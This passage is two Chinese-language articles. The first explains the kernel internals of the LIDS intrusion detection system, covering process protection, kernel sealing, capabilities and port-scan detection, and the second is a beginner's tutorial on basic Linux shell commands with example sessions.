CONFIG_LIDS_ALLOW_IO_PORTS，如果你选择了开启这个功能，你就可以允许一些特殊的程序来访I/O端口。
当系统运行fs/lids.c里的init_vfs_security()的时候初使化就被调用。

#ifdef CONFIG_LIDS_ALLOW_DEV_MEM

lids_fill_table (allow_dev_mem,&last_dev_mem,LIDS_MAX_ALLOWED,CONFIG_LIDS_DEV_MEM_PROGS);

#endif

#ifdef CONFIG_LIDS_ALLOW_RAW_DISKS

lids_fill_table(allow_raw_disks,&last_raw_disks,LIDS_MAX_ALLOWED,CONFIG_LIDS_RAW_DISKS_PROGS);

#endif

#ifdef CONFIG_LIDS_ALLOW_IO_PORTS

lids_fill_table (allow_io_ports,&last_io_ports,LIDS_MAX_ALLOWED,CONFIG_LIDS_IO_PORTS_PROGS);

#endif

如果一个进程或是程序要直接访问ip端口或是磁盘设备，LIDS就会检查它在数组allow_raw_disk,last_io_ports,等）。这个检查是通过调用lids_check_base()里的lids_search_inode(inode)来实现的。

比如，让我们看看CONFIG_LIDS_ALLOW_DEV_MEM

/* in lids_search_inode() */

#ifdef CONFIG_LIDS_ALLOW_DEV_MEM

for( i = 0 ; i < last_dev_mem ;i++ ) {

if ( allow_dev_mem[i].ino == ino && allow_dev_mem[i].dev == dev) {

return LIDS_READONLY;

}

}

#endif

#ifdef CONFIG_LIDS_ALLOW_RAW_DISKS

在allow_dev_mem包括了哪一个程序结点在系统启动的时候在init_vfs_security()里初使化。用同样的方法，除了一些特殊程序，我们可以保护设备，I/O访问等等。

四、保护重要进程

进程是操作系统的动态入口。内核里有两个特殊进程，进程ID 0 （swapd） 和进程ID 1（init）。Init进程是在系统启动的时候所有进程的父进程。

1、不可杀死的进程。

就象你可以看到是否有人要夺得root特权一样，我们可以很容易的杀死那些该内核发送特别信号的进程。为了杀死一个进程，你必须得到进程的ID，然后用kill命令来杀死它。

系统杀死进程的调用是kill，是在内核里的sys_kill()命令里的调用。

让我们看看LIDS的保护代码

在/usr/src/linux/kernel/signal.c里

asmlinkage int

sys_kill(int pid, int sig)

{

struct siginfo info;

#ifdef CONFIG_LIDS_INIT_CHILDREN_LOCK pid_t this_pid;

int i;

#ifdef CONFIG_LIDS_ALLOW_KILL_INIT_CHILDREN

if (!(current->flags & PF_KILLINITC))

#endif

if (lids_load && lids_local_load && LIDS_FISSET(lids_flags,LIDS_FLAGS_LOCK_INIT_CHILDREN)) {

this_pid = pid>0?pid:-pid;

for(i=0;i
if( this_pid == lids_protected_pid[i]) {

lids_security_alert("Try to kill pid=%d,sig=%dn",pid,sig);

return -EPERM;

}

}

}

#endif

...

}

你可以在内核里看到两个标签，,CONFIG_LIDS_INIT_CHILDREN_LOCK 和CONFIG_LIDS_ALLOW_KILL_INIT_CHILDREN.

在CONFIG_LIDS_INIT_CHILDREN_LOCK的开启状态，LIDS能保护初使的运行程序。如，如果你在系统里运行inetd程序，你可以在隐藏内核前运行它，然后，你还可以杀死它。但是一些人如果telnet到你的机器，inetd就会创造子进程来为用户服务，这个子进程不会被LIDS保护，因为用户在任何时候退出和杀死程序。

2、隐藏进程

另外一个保护进程的方法就是隐藏进程。当一个黑客危机你的系统。他会登陆，然后会看看有没有一些已知的进程在监视它。然后他就杀死它。如果你隐藏了这个功能的进程，黑客就不会知道进程的所有情况并且你可以记录他在你系统上做的任何事情。

如何隐藏进程

为了隐藏进程，你必须在配置内核的时候提供一个完全的路径名。

当内核启动的时候，LIDS会访问文件结点到一个叫proc_to_hide[]的结构里。

在include/linux/sched.h里

#ifdef CONFIG_LIDS_HIDE_PROC

#define PF_HIDDEN 0x04000000 /* Hidden process */

#endif

/* in fs/lids.c */

#ifdef CONFIG_LIDS_HIDE_PROC

struct allowed_ino proc_to_hide[LIDS_MAX_ALLOWED];

int last_hide=0;

#endif

....

/* in fs/lids.c , init_vfs_security(),

fill up the hidden process in proc_to_hide[]

*/

#ifdef CONFIG_LIDS_HIDE_PROC

lids_fill_table(proc_to_hide,&last_hide,LIDS_MAX_ALLOWED,CONFIG_LIDS_HIDDEN_PROC_PATH);

#endif

PF_HIDDEN是否用户可以用显示进程的命令（如“ps –a”）来显示和检查进程，如果一个进程被LIDS隐藏，当他执行的时候，进程就会得到一个PF_HIDDEN的属性。然后，当系统输出系统进程信息到用户的时候，它就会可以检查当前输出进程是否有PF_HIDDEN标志。如果发现了，它就不会输出这个进程的信息。

在in fs/exec.c

int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)

{

...

if (retval >= 0) {

#ifdef CONFIG_LIDS_HIDE_PROC

if (lids_search_proc_to_hide(dentry->d_inode))

current->flags |= PF_HIDDEN;

...

因为每一个linux的进程都有一个在/proc文件系统的入口，我们为了隐藏进程也需要修改proc的文件入口。

在fs/proc/root.c

static struct dentry *proc_root_lookup(struct inode * dir, struct dentry * dentry)

{

...

inode = NULL;

#ifdef CONFIG_LIDS_HIDE_PROC

if ( pid && p && (! ((p->flags & PF_HIDDEN) && lids_load && lids_local_load)) ) {

#else

if (pid && p) {

#endif

unsigned long ino = (pid >> 16) + PROC_PID_INO;

inode = proc_get_inode(dir->i_sb, ino, &proc_pid);

if (!inode)

return ERR_PTR(-EINVAL);

inode->i_flags|=S_IMMUTABLE;

}

...

}

然后如果进程被PF_HIDDEN标记，它就不会在proc文件系统里显示。

五、密封内核

我们需要在系统启动的时候做一些必要的操作，但是我们也需要在系统运行的时候保护它们。

例如，我们需要象内核里插入一些需要的模块，但是我们不希望在系统运行的时候插入任何模块，因为那样会十分危险。如何解决这个问题呢？这里就有一些密封的方法。我们可以在系统启动的时候做我们任何想做的事情，然后我们就密封内核。然后，我们就不能做那些以前在没有密封的时候可以做的事情。用密封的方法，我们可以用模块来解决问题，我们可以在密封前向内核里插入我们想要的模块，在密封后我们就不可以在内核里插入或是删除任何模块。

1、用LIDS密封内核

为了密封内核，我们可以用下面的LIDS命令

#lidsadm –I -- -CAP_xxx….

它们可以放到脚本里让系统启动的时候就执行它。具体你们可以看我以前在linuxbyte和chinabyte发表的文章。LIDS是通过/proc/sys/lids/locks和内核通讯的。

当你密封了内核，lidsadm是调用lidsadm.c的lids_init()的调用。

#define LIDS_LOCKS "/proc/sys/lids/locks"
......

void lids_init(int optind, int argc, char *argv[])

{

......

if ((fd=open(LIDS_LOCKS,O_RDWR)) == -1) {

perror("open");

exit_error (2, "can't open " LIDS_LOCKS);

}

if (read(fd,&locks,sizeof(lids_locks_t))==-1) {

perror("read");

exit_error (2, "can't read " LIDS_LOCKS);

}

lids_set_caps(optind,argc,argv,&locks);

locks.magic1=LIDS_MAGIC_1;

.........

if (write(fd,&locks,sizeof(lids_locks_t))==-1) {

perror("write");

exit_error (2, "can't write " LIDS_LOCKS);

}

.....

}

这个系统调用在LIDS_LOCKS生成新的变量loks，内核会通过lids_proc_locks_sysctl()命令来读取它。Lids_proc_locks_sysctl也会从用户区完全检查并读取它，然后改变密封的变量lids_first_time为0。

让我们看看lids_proc_locks_sysctl().这个函数会在用户读写/proc/sys/lids/locks的时候调用。

int lids_proc_locks_sysctl(ctl_table *table, int write, struct file *filp,

void *buffer, size_t *lenp, int conv, int op)

{

...........

/* first: check the terminal and the program which access the sysctl */

#ifndef CONFIG_LIDS_REMOTE_SWITCH

if (current->tty && (current->tty->driver.type != 2) ) {

lids_security_alert("Try to %s locks sysctl (unauthorized terminal)",

write ? "write" : "read");

return -EPERM;

}

#endif

........

/* second: check wether it is not a timeout period after two many failed attempts */

.......

if (write) {

/* Third : check what is submitted (size, magics, passwd) */

if (*lenp != sizeof(lids_locks_t)) {

lids_security_alert("Try to feed locks sysctl with garbage");

return -EINVAL;

}

if (copy_from_user(&locks,buffer,sizeof(lids_locks_t)))

return -EFAULT;

.......

if ((lids_first_time) && (!locks.passwd[0])) {

.........

number_failed=0;

if (lids_process_flags(locks.flags)) {

cap_bset=locks.cap_bset;

lids_security_alert("Changed: cap_bset=0x%x lids_flags=0x%x",cap_t(cap_bset),lids_flags);

}

Change flag here ..--> lids_first_time=0;

.....

}

上面的函数会在密封内核或是改变内核安全级别的时候工作。变量lids_first_time是一个表明当前密封状态的的一个标志。当改变了需要的使能位，这个标志就会置1表明当前的状态是“密封后“。

密封内核有两个任务，首先，改变使能位，然后，改变lids_first_time标志为1。在密封后，系统就不允许改变它们了，除非你用lidsadm和密码。

2、在密封前保护程序

因为在密封前的状态是危险的，我们必须知道在密封前那些运行的程序是LIDS来保护的。为什么呢？因为密封后我们就不能改变它们了。如果文件没有被保护，一些人就可以改变他们然后重新启动，这些程序可能对系统非常危险。让我们来看看在没有密封前一个运行的非保护程序的代码。

int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)

{

..........

#ifdef CONFIG_LIDS_SA_EXEC_UP

if (lids_first_time && lids_load) {

if (!lids_check_base(dentry,LIDS_READONLY))

#ifdef CONFIG_LIDS_NO_EXEC_UP

lids_security_alert("Try to exec unprotected program %s before sealing LIDS",filename);

if (dentry)

dput(dentry);

return -EPERM;

#else

lids_security_alert("Exec'ed unprotected program %s before sealing LIDS",filename);

#endif

}

}

#endif

......

}

你会看到当LIDS保护系统开启（lids_load==1）和当前系统没有密封（lids_firest_time 为1）的时候，内核就会检查当前程序是否在LIDS的lids_check_base()保护下。如果没有被保护，它就会启动报警信息。

六、LIDS与Capability

1、Capability是一套来表明一个进程可以做为什么的位标志。在LIDS，我们可以用capability的限制来限制所有的进程。

在/include/linux/capability.h

typedef struct __user_cap_header_struct {

__u32 version;

int pid;

} *cap_user_header_t;

typedef struct __user_cap_data_struct {

__u32 effective;

__u32 permitted;

__u32 inheritable;

} *cap_user_data_t;

#ifdef __KERNEL__

/* #define STRICT_CAP_T_TYPECHE

#ifdef STRICT_CAP_T_TYPECHECKS

typedef struct kernel_cap_struct {

__u32 cap;

} kernel_cap_t;

#else

typedef __u32 kernel_cap_t;

#endif

kernel_cap_t cap_bset = CAP_FULL_SET;

在kernel_ap_t的每一位都代表一个许可。Cap_bset是capability集的主要部分。它们的值可以通过改变/proc/sys/kernel/cap-bound来改变。

看看上面的文件，你就会发现一些问题。

/* in include/linux/capability.h */

/* In a system with the [_POSIX_CHOWN_RESTRICTED] option defined, this

overrides the restriction of changing file ownership and group

ownership. */

#define CAP_CHOWN 0

/* Override all DAC access, including ACL execute access if

[_POSIX_ACL] is defined. Excluding DAC access covered by

CAP_LINUX_IMMUTABLE. */

#define CAP_DAC_OVERRIDE 1

/* Overrides all DAC restrictions regarding read and search on files

and directories, including ACL restrictions if [_POSIX_ACL] is

defined. Excluding DAC access covered by CAP_LINUX_IMMUTABLE. */

#define CAP_DAC_READ_SEARCH 2

.........

每一个任务（进程）在结构task_struct定义了三个成员：cap_effective,cap_inheritable,cap_permitted.我们已经有了一个用来表明基本capability的变量cap_bset。它们会检测这个系统并确定那种capability用来控制系统。

在内核实现的大部分系统调用会调用函数capable() (在kernel/sched.c)。然后会调用cap_raised() (在/include/linux/capability.h)。如下：

#ifdef CONFIG_LIDS_ALLOW_SWITCH

#define cap_raised(c, flag) ((cap_t(c) & CAP_TO_MASK(flag)) && ((CAP_TO_MASK(flag) & cap_bset) || (!lids_load) || (!lids_local_load)))

#else

#define cap_raised(c, flag) (cap_t(c) & CAP_TO_MASK(flag) & cap_bset)

#endif

你会看到这里的cap_bset(一般默认都是1)是很重要的。如果有人在那里把一些位置0，capability就可以会禁止整个系统。如，18 位的CAP_SYS_CHROOT, 如果我们把他置0，表明我们就不能用chroot（）了。

如果你看到sys_chroot的源代码，你就发现很多问题了：

if (!capable(CAP_SYS_CHROOT)) {

goto dput_and_out;

}

capable()会返回0，在位18为0，这样chroot就会给用户返回一个错误信息。

2、在LIDS里的capability

LIDS用capability来限制整个动作进程。LIDS用的函数是capable（）。在内核代码中已经存在的许多capable（）里。我们可以禁止一些当前系统默认的capability并且在用户违反LIDS定义的规则的时候报警。

至于管理员，他们也可以用lidsadm和密码来改变capability。当内核授权用户的时候，capability变量cap_bset 就会改变。

作为管理员一个需要理解的重要东西是每一个capability的意思。然后，在密封内核的时候禁止capability，并用密码来改变它们。

七、LIDS在内核中的安全级别

一些时候，我们需要改变保护系统的配置。那样我们该怎么做呢？LIDS给我们提供了两种方法。

我们可以重新启动系统，在LILO：里键入security=0.

我们可以在用lidsadm –S中用密码来转换安全级别。

1、在内核中的两个安全级别

LIDS在内核中定义了两个安全级别，安全的security和无安全的none_security.默认情况下，是设置成安全的级别。如果你需要改变它。就在启动的时候键入security=0.

在内核中有一个全局变量lids_load。它表明是否lids的安全变量security被开启。它默认是1。如果在系统启动的时候在LILO：键入security=0 ，所有的LIDS的保护都会失效，就象那些没有LIDS保护的系统一样。

/* variant defined in fs/lids.c */

int lids_reload_conf=0;

int lids_load=0; /* it is raised to 1 when kernel boot */

int lids_local_on=1;

int lids_local_pid=0;

/* in init/main.c */

#ifdef CONFIG_LIDS

/*

* lids_setup , read lids info from the kernel.

*/

static void __init lids_setup(char *str, int *ints)

{

if (ints[0] > 0 && ints[1] >= 0)

====> _lids_load= ints[1];

}

#endif

....

/* init the LIDS when the system bootup up */

static void __init do_basic_setup(void)

{

......

/* Mount the root filesystem.. */

mount_root();

#ifdef CONFIG_LIDS

/* init the ids file system */

---> lids_load=_lids_load;

lids_local_on=_lids_load;

lids_flags=lids_load * (LIDS_FLAGS_LIDS_ON | LIDS_FLAGS_LIDS_LOCAL_ON);

===> printk("Linux Intrusion Detection System %s n",lids_load==1?"starts":"stops");

init_vfs_security();

#endif

......

}

在系统启动的时候，你可以看到”Linux Intrusion Detection System 0.9 starts”,表明LIDS的保护开启了。当保护停止的时候，你可以看到”Linux Intrusion Detection System 0.9 stops”。这里的0.9是当前的LIDS版本号。

2、用lidsadm来改变系统安全级别

一些时候，有也可以在线的时候改变你的安全级别，你必须把CONFIG_LIDS_ALLOW_SWITCH功能开启。并且在编译前配置内核的时候提供一个RipeMD-160 encrypted password 。

这个密码可以用lidsadm –p 命令来获得

用内核鉴定

用提供的密码，LIDS可以鉴定用户来区分哪个用户可以转换内核的安全级别。

这个功能也要用到lidsadm的-S参数。如。

# /sbin/lidsadm -S -- -LIDS

SWITCH

Password:xxxxxx

#

在输入密码后，我们就可以转换LIDS的安全关闭。

让我们看看内部的编码来了解它是如何工作的，

/* in the fs/lids.c lids_proc_locks_sysctl() */

int lids_proc_locks_sysctl(ctl_table *table, int write, struct file *filp,

void *buffer, size_t *lenp, int conv, int op)

{

lids_locks_t locks;

byte hashcode[RMDsize/8];

char rmd160sig[170];

.......

locks.passwd[sizeof(passwd_t)-1]=0; /* We don't take the risk */

rmd160sig[0]=0;

#ifdef CONFIG_LIDS_ALLOW_SWITCH

if ((!lids_first_time) || (locks.passwd[0])) {

RMD((byte *)locks.passwd,hashcode);

memset((char *)locks.passwd,'',sizeof(passwd_t));

for (i=0; i
sprintf(rmd160sig+2*i,"%02x", hashcode[i]);

}

if ( ((lids_first_time) && (!locks.passwd[0])) ||

----------> (!strncmp(rmd160sig,CONFIG_LIDS_RMD160_PASSWD,160)) ) {

#else

if ((lids_first_time) && (!locks.passwd[0])) {

#endif

/* access granted ! */

number_failed=0;

if (lids_process_flags(locks.flags)) {

cap_bset=locks.cap_bset;

lids_security_alert("Changed: cap_bset=0x%x lids_flags=0x%x",cap_t(cap_bset),lids_flags);

}

lids_first_time=0;

}

........

}

在密码检查正确后。Lids_process_flag()就会改变当前的lids标记为关闭状态，然后你就可以在不受保护的系统做你想要做的事情了。你可以看看fs/lids.c的lids_process_flag的代码来了解它。

转换LIDS和LIDA_GLOBAL

如果你把LIDS的保护关闭，你会有两个结果，一，关闭后其它没有被LIDS保护的控制台一样不受保护，二，可以本地的关闭它们，在其它的控制台，所有的系统依然被LIDS保护。它们一样很安全。

这些细节是fs/lids的lids_process_flag()来实现。

八、内核的网络安全

用LIDS，你可以用下面的功能来保护你的网络。

1、保护防火墙和路由的规则

如果你的主机包含一些防火墙规则。你可以用LIDS来保护它们。你可以开启CONFIG_LIDS_ALLOW_CHANGE_ROUTESLAI 实现这个功能。你也必须在密封内核的时候关闭CAP_NET_ADMIN。

然后，你也可以允许程序更改路由规则。

让我们来看看保护防火墙规则的代码吧。每一个改变防火墙的请求都会调用内核的ip_setsockopt()函数。

int ip_setsockopt(struct sock *sk, int level, int optname, char *optval, int optlen)

{

........

switch(optname)

{

.......

case IP_FW_DELETE_NUM:

case IP_FW_INSERT:

case IP_FW_FLUSH:

case IP_FW_ZERO:

case IP_FW_CHECK:

case IP_FW_CREATECHAIN:

case IP_FW_DELETECHAIN:

case IP_FW_POLICY:

#ifdef CONFIG_LIDS_ALLOW_CHANGE_ROUTES

if (!(capable(CAP_NET_ADMIN) || (current->flags & PF_CHROUTES))) {

#else

if (!capable(CAP_NET_ADMIN)) {

#endif

#ifdef CONFIG_LIDS

lids_security_alert("CAP_NET_ADMIN violation: try to change IP firewall rules with option %d",optname);

#endif

return -EACCES;

}

........

从上面的代码，我们可以看到如果有人要改变防火墙的规则，你必须把CAP_NET_ADMIN开启，并且你要修改规则的程序必须用routing_changeable来标记。

2、禁止嗅探

这个功能也是在上面的changing_route来实现的。让我们来看看net/core/dev.c的代码。

int dev_ioctl(unsigned int cmd, void *arg)

{

........

switch(cmd)

{

........

case SIOCSIFMETRIC:

case SIOCSIFMTU:

case SIOCSIFMAP:

case SIOCSIFHWADDR:

case SIOCSIFSLAVE:

case SIOCADDMULTI:

case SIOCDELMULTI:

case SIOCSIFHWBROADCAST:

case SIOCSIFTXQLEN:

case SIOCSIFNAME:

#ifdef CONFIG_LIDS_ALLOW_CHANGE_ROUTES

if (!(capable(CAP_NET_ADMIN) || (current->flags & PF_CHROUTES))) {

#else

if (!capable(CAP_NET_ADMIN)) {

#endif

#ifdef CONFIG_LIDS

lids_security_alert("CAP_NET_ADMIN violation: ioctl SIOC #%i",cmd);

#endif

return -EPERM;

.........

你能发现，如果你要为嗅探改变状态的话， 你必须让CAP_NET_ADMIN开启来实现这个功能。你可以在内核密封前启动CAP_NET_ADMIN，然后在内核密封后禁止它。

3、内核的检测端口扫描的功能

为什么要在内核里需要一个端口扫描的检测？

因为一个端口扫描的时候能检测到半连接的扫描。所以，端口扫描检测需要作为一个嗅探的程序来运行。如果我们需要检测端口扫描。我们又要开启允许嗅探程序的运行，在内核中的端口扫描检测很有用处。

端口扫描的主要思想是在一段短的时间内扫描一个范围的端口，然后，它们会在扫描后记录那些端口是开放的。用这个方法，扫描器就可以检测到远端的机器开放了什么端口。在内核里，我们能发现下面的代码。

内核中的端口扫描检测

让我们看看tcp的端口扫描

/* in net/ipv4/tcp_ipv4.c */

int tcp_v4_rcv(struct sk_buff *skb, unsigned short len)

{

........

__skb_queue_tail(&sk->back_log, skb);

return 0;

no_tcp_socket:

#ifdef CONFIG_LIDS

lids_check_scan(skb->nh.iph->saddr,ntohs(th->dest));

#endif

tcp_v4_send_reset(skb);

discard_it:

.........

}

lids_check_scan()有两个参数，一个是影响no_sock_srror的源地址，另外一个是你要通讯的机器上的端口。

Lids_check_scan()主要的任务是统计由同一个资源发出的错误信息。但是lids_check_scan()在源地址是一个端口扫描器的时候不会做检查，它会要timer来做。现在，让我们看看lids_check_scan()的代码。

/* in net/ipv4/lids_check_scan.c */

int lids_check_scan(__u32 addr,__u16 port)

{

...........

if((p = lids_find_scan(addr)) == NULL) {

p1 = &lids_scan_head;

p = (struct lids_scan*)kmalloc(sizeof(struct lids_scan),GFP_ATOMIC);

if(p == NULL ) {

return -1;

}

while((p1->next)!=NULL)p1=p1->next;

/* init the structure. */

p1->next = p;

spin_unlock(p->lock);

p->next = NULL;

p->addr = addr;

p->counter = 0;

p->lower_counter = 0;

p->create_time = current_time;

/* init a timer to do the detect thing */

init_timer(&(p->timer));

p->timer.expires = LIDS_SCAN_TIMEOUT + current_time;

p->timer.data = (unsigned long) p;

p->timer.function = lids_proceed_scan ;

add_timer(&(p->timer));

}

/* add the counter when hit */

spin_lock(p->lock);

(p->counter)++;

/* we here defined the port < 1024 and > 1024 */

if(port < 1024)

(p->lower_counter)++;

spin_unlock(p->lock);

return 0;

}

从上面的代码，我们能看到这个函数的主要是一个列表，所以它很快。为了防止在kmalloc()的DoS的攻击，我们也需要来限制检测的列表。在这个代码里可能是错误的，但是因为记时的函数timer lids_proceed_scan能非常快的更新这个列表（每3秒一次）。所以DoS攻击很难让内核迷惑扫描源的真实性

九、入侵响应系统

当我们检测到了一些程序违反了我们定的规则，我们必须要对它做出响应。在当前的LIDS系统，我们可以用记录的功能来记录下所有的信息。我们也可以挂起这个用户用到的控制台。然后，我们就会给LIDS加上更多的响应系统，不但是在内核里，还是在用户区。

1、允许用安全的方法登陆

在传统的内核登陆模式，我们每次都是用printk在控制台打印信息。但是这样很容易会被DoS攻击内核。他会让系统频繁的运行printk命令，我们可以在内核用security_alert()来实现报警响应功能。

你可以看看/include/linux/kernel.h的代码。

2、控制台挂起

这个功能是用安全日志来挂起那些违反LIDS定义的安全规则的人的控制台。他们要继续必须重新登陆系统。但是他们所做的一切都已经被系统日志记录下来或是用e-mail的方法发送给了管理员。

3、用e-mail或是传呼来报告管理员

这个功能是boidi开发的。用这个工具，我们可以很容易的知道系统什么地方出错，我们可以及时的响应入侵。

这些就是大概的LIDS的基本原理，它可能很多的涉及到了内核模块的编程。这个方面内容，大家可以到chinabyte的linux专区，那里有coolboy的关于可加载模块lkm的资料。很cool。 有什么问题，也可以e-mail给我chaobowang@sina.com。


Linux 入门篇

bkbll(bkbll@263.net)

    申明：这篇文章只是我个人学习linux的经验以及对系统的一些认识.希望对看过这篇文章的人有所帮助。

在开始之前,我想规定一下符号的意义:
#表示是root 的shell.$表示一般用户的shell.
首先介绍一些在Linux下的基本命令:
(1) man
中文描述: man的作用是对你熟悉或者不熟悉的命令提供详细的帮助.
安装的默认文档的路径在/usr/man目录下面.
示例:
[bkbll@market man]$ man ls
LS(1) FSF LS(1)
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by
default). Sort entries alphabetically if none of -cftuSUX
nor --sort.
…………………………………………………………………….
按空格键翻页,输入/后面加查询内容 可以查询.
按q键或者ctrl+c退出.随便说一句,在linux下可以使用ctrl+c终止当前程序运行.
当然,这需要你的英语比较好.
(2) ls
中文描述:查看目录或者文件的属性,列举出任一目录下面的文件.
示例:
[bkbll@market man]$ ls /usr/man
man1 man2 man3 man4 man5 man6 man7 man8 man9 manl mann share whatis
还可以这样:
[bkbll@market bkbll]$ ls -l
total 704
drwxr-xr-x 　5 bkbll bkbll 4096 Feb 21 11:24 Desktop
-rw-r--r-- 　1 bkbll bkbll 34545 Jul 18 16:41 Filter-1.23.tar.gz
-rw-r--r-- 　1 bkbll bkbll 3805 Mar 20 1996 Makefile
drwxrwxr-x　2 bkbll bkbll 4096 Mar 8 19:19 Net
-rw-r--r-- 　1 bkbll bkbll 60834 Mar 21 1996 README
-rwxrwxr-x　1 bkbll bkbll 18239 Jul 27 22:07 a.out
-rwxr-xr-x 　1 bkbll bkbll 2463 Jul 16 19:34 apache3.pl
-rw-rw-r--　1 bkbll bkbll 10320 Jul 16 09:16 bind.c
-rw-rw-r--　1 bkbll bkbll 25 Jul 9 11:56 cool.t
-rwxrwxr-x　1 bkbll bkbll 12052 Mar 1 12:02 crypt
-rw-rw-r--　1 bkbll bkbll 174 Mar 1 12:02 crypt.c
drwxrwxr-x　2 bkbll bkbll 4096 Jul 16 10:59 data
下面详细介绍一下上面的含义.
drwxrwxr-x 2 bkbll bkbll 4096 Jul 16 10:59 data
| --------- | ---- ---- ---- ------------ -----
1 　　2 　　3　4 　 5　 　6 　　 　7　　 　 8
1 表示文件结构.比如d表示目录(directory),如果是一个”-“表示是文件,如果是l则表示是一个连接文件(link) .
2.表示文件或者目录许可权限.分别用可读(r),可写(w),可运行(x).
rwx rwx r-x
--- --- ----
u 　g 　o
u表示文件主人,既上面列表第4项表示,文件主人为bkbll,
g 表示文件文件所在组.上面第5项表示,文件组为bkbll
o 表示其他人.
上面的意思就是:允许文件主人bkbll有可读,可写,可执行的权限.
允许文件组bkbll里面的所以成员对其有可读,可写,可执行的权限
允许其他人有可读以及可执行的权限.
可以用一个8进制位表示.
0000 右起第一位表示x,第二位表示w,第三位表示r.
比如:rwx就可以用7表示.bin(111)=oct(7).
那么上面的属性就可以用775表示.
所以如果你想让其他文件也具有类似data的权限,可以使用chmod 775 文件名来转换.
3. 表示目录层次结构.比如: 2表示data目录下面还有一层的子目录.所以文件都是1了.
4. 表示文件(或目录)属主.
5. 表示文件(或目录)所属组.
6. 文件或目录大小.以字节为单位.
7. 文件或目录建立日期.
8. 文件或者目录名字
(3) . cp
中文描述:拷贝文件.
用法:cp filename1 filename2
把filename1拷贝成filename2
举例:
[bkbll@market bkbll]$ cp fing.c lpd/fing2.c
[bkbll@market bkbll]$ ls lpd/
fing2.c qib qib.tgz
[bkbll@market bkbll]$
把当前目录下面的fing.c拷贝成lpd目录下面的fing2.c文件.
提示:拷贝目录加一个-r参数
(4).rm
中文描述:删除文件和目录.
用法:rm 文件名或目录名.
举例:
[bkbll@market bkbll]$ ls lpd/
fing2.c qib qib.tgz
[bkbll@market bkbll]$ cd lpd
[bkbll@market lpd]$ ls
fing2.c qib qib.tgz
[bkbll@market lpd]$ rm fing2.c /*** 删除fing2.c文件
[bkbll@market lpd]$ ls
qib qib.tgz
[bkbll@market lpd]$ rm qib -r /**删除目录qib
[bkbll@market lpd]$ ls
qib.tgz
[bkbll@market lpd]$
注意:删除之后不会象windows那样容易恢复.
(5).mv
中文描述:移走目录或者改文件名.
用法:mv filename1 filename2
举例:
[bkbll@market lpd]$ mv qib.tgz qi.tgz /** 改名
[bkbll@market lpd]$ ls /**列举
qi.tgz /** 成功改名了
[bkbll@market lpd]$ mv qib.tgz ../qib.tgz /**移到上一级目录
mv: qib.tgz: No such file or directory /** qib.tgz文件不存在,抱错
[bkbll@market lpd]$ mv qi.tgz ../qib.tgz /**重新来
[bkbll@market lpd]$ ls -l ../qib.tgz /**列举,成功移动.
-rw-r--r-- 1 bkbll bkbll 13321 Feb 28 20:20 ../qib.tgz
[bkbll@market lpd]$
(6).cd ,pwd
中文描述:cd 改变当前目录 pwd 查看当前所在目录完整路径
用法:cd 路径名 ;pwd
举例:
[bkbll@market bkbll]$ pwd /**查看当前所在目录路径
/home/bkbll
[bkbll@market bkbll]$ cd ftp /**切换到ftp目录
[bkbll@market ftp]$ pwd /**成功切换,查看现在的路径
/home/bkbll/ftp /**和上面的pwd有什么不同?
[bkbll@market ftp]$

书接上回.(惊堂木一拍,顿时惊醒下面正在吃瓜子的xieshou和流泪睡觉的学生若干.)
上回说到.cd ,pwd的用法.现在我们继续. 注意:上次用的html格式,红色格式表示我们输入的命令,例如:
[bkbll@market lpd]$ mv qi.tgz ../qib.tgz /**重新来.
由于我的失误,把整行都转成了红色. 所以给各位同志的阅读带来了难度,让别人误解了.其实正确的格式应该是:
[bkbll@market lpd]$ mv qi.tgz ../qib.tgz /**重新来 蓝色表示的是用户的shell环境,其中bkbll表示当前用户名,如果你是用xieshou进来的,那么就 是[xieshou@**** ***]$了.后面的”@”表示”在”的意思.后面紧接着的是当前机器的名字,比 如,现在这台机器的名字是market,他在/etc/hosts文件里面定义了.您可以通过cat /etc/hosts 来查看文件.比如:
[bkbll@market bkbll]$ cat /etc/hosts
127.0.0.1 localhost localhost
202.202.50.40 market.eschool.edu market
[bkbll@market bkbll]$
注意这个”market”.表示的就是机器名字. 后面的lpd代表当前目录名字.后面的”$”上一节讲了,是普通用户的shell,
如果是root(既超级 管理员)的.
7.cat,more命令 中文描述:将某个文件的内容显示出来.两个命令所不同的是:cat把文件内容一直打印出来,而 more则分屏显示.
用法:cat filename ;more filename 举例:
[bkbll@market bkbll]$ cd own /**切换到own目录
[bkbll@market own]$ ls /**列举目录内容
1.c 1.h 2.c
[bkbll@market own]$ cat 1.c /** 显示1.c文件内容
main() {
int i;
i=6;
printf("%d",i);
}
[bkbll@market own]$ /**等待用户命令输入.
8.chmod 命令
中文描述: 改变文件保护，文件保护控制用户对文件的访问权，有三个安全级别，所有者级别 ，组访问级别，其他用户访问级别，在这三个级别中，又有三种权限：读（r），写（w），执 行（x）。（用户可以ls-lg来观看某一文件的所属的group）对于文件来说读权限意味着可以看 文件的内容，写文件可以修改或删除文件，执行权限则可以执行它（类似于DOS下的EXE，COM， BAT文件）。对于目录来说，读权限意味着可以查看目录下的内容，写权限意味着能在目录下建 立新文件，并可以从目录中删除文件，执行权限意味着可以从一个目录转变到另一个目录。 用法:chmod 一位8进制数 filename. 这个8位二进制就是上篇文章写的0000东西. 比如:如果你想让某个文件有运行的权限,但是只想给自己运行，别人只能读,那么可以使用 chmod u+x filenmame 其中u表示文件属组.x表示有x权限,(r代表可读,w代表可写,x代表可以运行) 如果想让同组的人来执行;那么就是: chmod g+x filename 举例:
[bkbll@market own]$ ls -l
total 12
-rw-rw-r-- 1 bkbll bkbll 39 Jul 30 20:29 1.c
-rw-rw-r-- 1 bkbll bkbll 43 Jul 18 13:58 1.h
-rw-rw-r-- 1 bkbll bkbll 88 Jul 18 14:03 2.c
[bkbll@market own]$ chmod u+x 1.c
[bkbll@market own]$ ls -l 1.c
-rwxrw-r-- 1 bkbll bkbll 39 Jul 30 20:29 1.c
[bkbll@market own]$ chmod g+x 1.c
[bkbll@market own]$ ls -l 1.c
-rwxrwxr-- 1 bkbll bkbll 39 Jul 30 20:29 1.c
[bkbll@market own]$ chmod o+w 1.c
[bkbll@market own]$ ls -l 1.c
-rwxrwxrw- 1 bkbll bkbll 39 Jul 30 20:29 1.c
[bkbll@market own]$
注意上面的权限位.
第一次是664(rw rw r)
第二次就成为:764 (rwx rw r)
第三次成为774 (rwx rwx r)
